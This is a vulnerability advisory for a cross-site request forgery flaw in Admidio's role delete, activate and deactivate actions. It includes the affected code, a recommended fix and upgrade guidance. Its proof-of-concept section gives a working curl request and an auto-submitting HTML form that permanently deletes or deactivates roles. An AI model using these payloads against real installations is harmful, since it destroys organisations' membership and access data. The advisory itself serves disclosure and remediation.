Skip to content

GHSA-wwg8-6ffr-h4q2 CVE-2026-32816

Admidio is Missing CSRF Validation on Role Delete, Activate, and Deactivate Actions

Medium Packagist
Severity
5.7 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.14%
Chance of exploitation in the next 30 days. Higher than 2.97% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-352 Cross-Site Request Forgery (CSRF)
Fix
5.0.7
Upgrade admidio/admidio to this version or later

Description

Summary

The delete, activate, and deactivate modes in modules/groups-roles/groups_roles.php perform destructive state changes on organizational roles but never validate an anti-CSRF token. The client-side UI passes a CSRF token to callUrlHideElement(), which includes it in the POST body, but the server-side handlers ignore $_POST["adm_csrf_token"] entirely for these three modes. An attacker who can discover a role UUID (visible in the public cards view when the module is publicly accessible) can embed a forged POST form on any external page and trick any user with the rol_assign_roles right into deleting or toggling roles for the organization. Role deletion is permanent and cascades to all memberships, event associations, and rights data.

Details

CSRF Token Is Sent but Never Validated

File: D:/bugcrowd/admidio/repo/modules/groups-roles/groups_roles.php, lines 150-173

The save mode (lines 143-148) is CSRF-protected via RolesService::save() which calls getFormObject($_POST["adm_csrf_token"])->validate(). The delete, activate, and deactivate modes receive no equivalent protection:

case 'delete':
    // delete role from database
    $role = new Role($gDb);
    $role->readDataByUuid($getRoleUUID);
    if ($role->delete()) {
        echo json_encode(array('status' => 'success'));
    }
    break;

case 'activate':
    // set role active
    $role = new Role($gDb);
    $role->readDataByUuid($getRoleUUID);
    $role->activate();
    echo 'done';
    break;

case 'deactivate':
    // set role inactive
    $role = new Role($gDb);
    $role->readDataByUuid($getRoleUUID);
    $role->deactivate();
    echo 'done';
    break;

The only input validated is $getRoleUUID at line 41, checked as a 'uuid' type. This prevents SQL injection but provides no CSRF protection.

Client-Side UI Passes Token; Server Ignores It

File: D:/bugcrowd/admidio/repo/system/js/common_functions.js, lines 101-129

The presenter embeds the CSRF token into the JavaScript callUrlHideElement() call (GroupsRolesPresenter.php line 131). The function sends it in an AJAX POST body:

function callUrlHideElement(elementId, url, csrfToken, callback) {
    $.post(url, {
        "adm_csrf_token": csrfToken,  // sent in POST body
        "uuid": elementId
    }, function(data) { ... });
}

The server-side handler reads mode from $_GET but never reads or validates $_POST["adm_csrf_token"] for delete, activate, or deactivate. An attacker omits the token field entirely; the server does not check for its presence.

Who Can Be the CSRF Victim

File: D:/bugcrowd/admidio/repo/modules/groups-roles/groups_roles.php, lines 49-54

if ($getMode !== 'cards') {
    // only users with the special right are allowed to manage roles
    if (!$gCurrentUser->isAdministratorRoles()) {
        throw new Exception('SYS_NO_RIGHTS');
    }
}

isAdministratorRoles() maps to checkRolesRight('rol_assign_roles'). This is a delegated organizational right, not full system administrator (isAdministrator()) access. Any member granted the right to manage roles -- for example, a volunteer coordinator or chapter secretary -- is a valid CSRF victim.

Role UUIDs Are Discoverable Without Authentication

File: D:/bugcrowd/admidio/repo/src/UI/Presenter/GroupsRolesPresenter.php, line 84

$templateRow['id'] = 'role_' . $role->getValue('rol_uuid');

The cards mode (the default view) does not require the rol_assign_roles right and is publicly reachable when the module is enabled. Role UUIDs appear as HTML element IDs and in action data attributes in the page source. An unauthenticated visitor can collect all role UUIDs before staging the CSRF attack against a logged-in victim.

Role::delete() Is Permanent and Cascading

File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 264-288

$this->db->startTransaction();

// Remove all role dependency relationships
$sql = 'DELETE FROM ' . TBL_ROLE_DEPENDENCIES . ' WHERE rld_rol_id_parent = ? OR rld_rol_id_child = ?';
$this->db->queryPrepared($sql, array($rolId, $rolId));

// Remove all memberships
$sql = 'DELETE FROM ' . TBL_MEMBERS . ' WHERE mem_rol_id = ?';
$this->db->queryPrepared($sql, array($rolId));

// Disassociate all events linked to this role
$sql = 'UPDATE ' . TBL_EVENTS . ' SET dat_rol_id = NULL WHERE dat_rol_id = ?';
$this->db->queryPrepared($sql, array($rolId));

// Remove all access-right entries for this role
$sql = 'DELETE FROM ' . TBL_ROLES_RIGHTS_DATA . ' WHERE rrd_rol_id = ?';
$this->db->queryPrepared($sql, array($rolId));

There is no soft-delete or recycle bin. Deletion permanently removes the role record, all memberships within it, all role dependency rules, and all per-module access rights granted to the role.

PoC

The attacker hosts the following HTML page and tricks a user with the rol_assign_roles right into visiting it while logged in to Admidio.

Step 1: Collect role UUIDs from the public cards view (no login required)

curl "https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=cards"

Role UUIDs appear in the HTML source as element IDs (id="role_<UUID>") and in action data attributes.

Step 2: Forge a deletion request (no CSRF token needed)

curl -X POST \\
  "https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=delete&role_uuid=ROLE_UUID" \\
  -H "Cookie: ADMIDIO_SESSION_ID=victim_session" \\
  -d ""

Expected response: {"status":"success"}

The role, all its memberships, all event associations, and all access-right entries are permanently deleted. No adm_csrf_token field is required.

Step 3 (CSRF delivery -- attacker hosts externally)

<!DOCTYPE html>
<html>
<body onload="document.getElementById('f').submit()">
  <form id="f" method="POST"
        action="https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=delete&role_uuid=ROLE_UUID">
    <!-- No adm_csrf_token field needed -->
  </form>
</body>
</html>

When any user with rol_assign_roles views this page while authenticated, the targeted role is permanently deleted without any confirmation from the victim.

Step 4 (Deactivate via CSRF -- disables a role without deleting it)

<form id="f" method="POST"
      action="https://TARGET/adm_program/modules/groups-roles/groups_roles.php?mode=deactivate&role_uuid=ROLE_UUID">
</form>

Deactivating a role removes all active members from the role and hides it, effectively revoking access for all members without destroying the role record.

Impact

  • Permanent Role Deletion: A CSRF-triggered delete request irrecoverably removes the targeted role and all associated memberships, event links, and permission grants. There is no undo path other than a database restore.
  • Mass Membership Revocation: Every member of the deleted role loses their membership record simultaneously. Role membership in Admidio controls access to events, document folders, mailing lists, and custom profile-field visibility.
  • Role State Manipulation: An attacker can force activate or deactivate on any role. Deactivation silently strips access from an entire group without deleting the role record.
  • Low Attack Surface Requirement: The attacker only needs to trick a user with the delegated rol_assign_roles right -- not a full system administrator. Such users are common in organizations that delegate group management to department heads or committee chairs.
  • UUID Pre-Collection Without Authentication: Role UUIDs are harvested from the public cards view before the CSRF attack is staged, making target selection trivial.

Recommended Fix

Add SecurityUtils::validateCsrfToken($_POST["adm_csrf_token"]) at the beginning of each vulnerable case, consistent with how other mutative actions in the codebase are protected.

// File: modules/groups-roles/groups_roles.php

case 'delete':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $role = new Role($gDb);
    $role->readDataByUuid($getRoleUUID);
    if ($role->delete()) {
        echo json_encode(array('status' => 'success'));
    }
    break;

case 'activate':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $role = new Role($gDb);
    $role->readDataByUuid($getRoleUUID);
    $role->activate();
    echo 'done';
    break;

case 'deactivate':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $role = new Role($gDb);
    $role->readDataByUuid($getRoleUUID);
    $role->deactivate();
    echo 'done';
    break;

Since callUrlHideElement already sends adm_csrf_token in the POST body, adding the server-side validation call is a one-line fix per case and requires no changes to the front-end JavaScript or templates.

Affected versions

Packagist

PackageVulnerableFixed in
admidio/admidio
>= 5.0.0, < 5.0.7
5.0.7

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

admidio/admidio Packagist → 5.0.7

composer
composer require admidio/admidio:^5.0.7

Severity breakdown

CVSS 3.1 5.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-352: Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
  • Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
  • Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
  • Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
  • Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
  • Architecture and Design: Do not use the GET method for any request that triggers a state change.
  • Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-hm42-q32m-vj4f
Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests
Medium Also affects admidio/admidio
GHSA-xw54-c3mx-9pm3
Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024
Medium Also affects admidio/admidio
GHSA-mch8-wf3h-6x88
Admidio writes session IDs and auto-login cookie values to application logs
Medium Also affects admidio/admidio
GHSA-4rgq-38mh-9xqg
Admidio PKCS#12 private key export action lacks CSRF protection
Medium Also affects admidio/admidio
GHSA-x628-457g-2pw9
Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders
High Also affects admidio/admidio
GHSA-q6w3-hpfv-rg36
Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders
Medium Also affects admidio/admidio
GHSA-xg76-5qj2-2hhv
Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation
Medium Also affects admidio/admidio
GHSA-mx25-j3rc-6w2w
Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords
Medium Also affects admidio/admidio
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor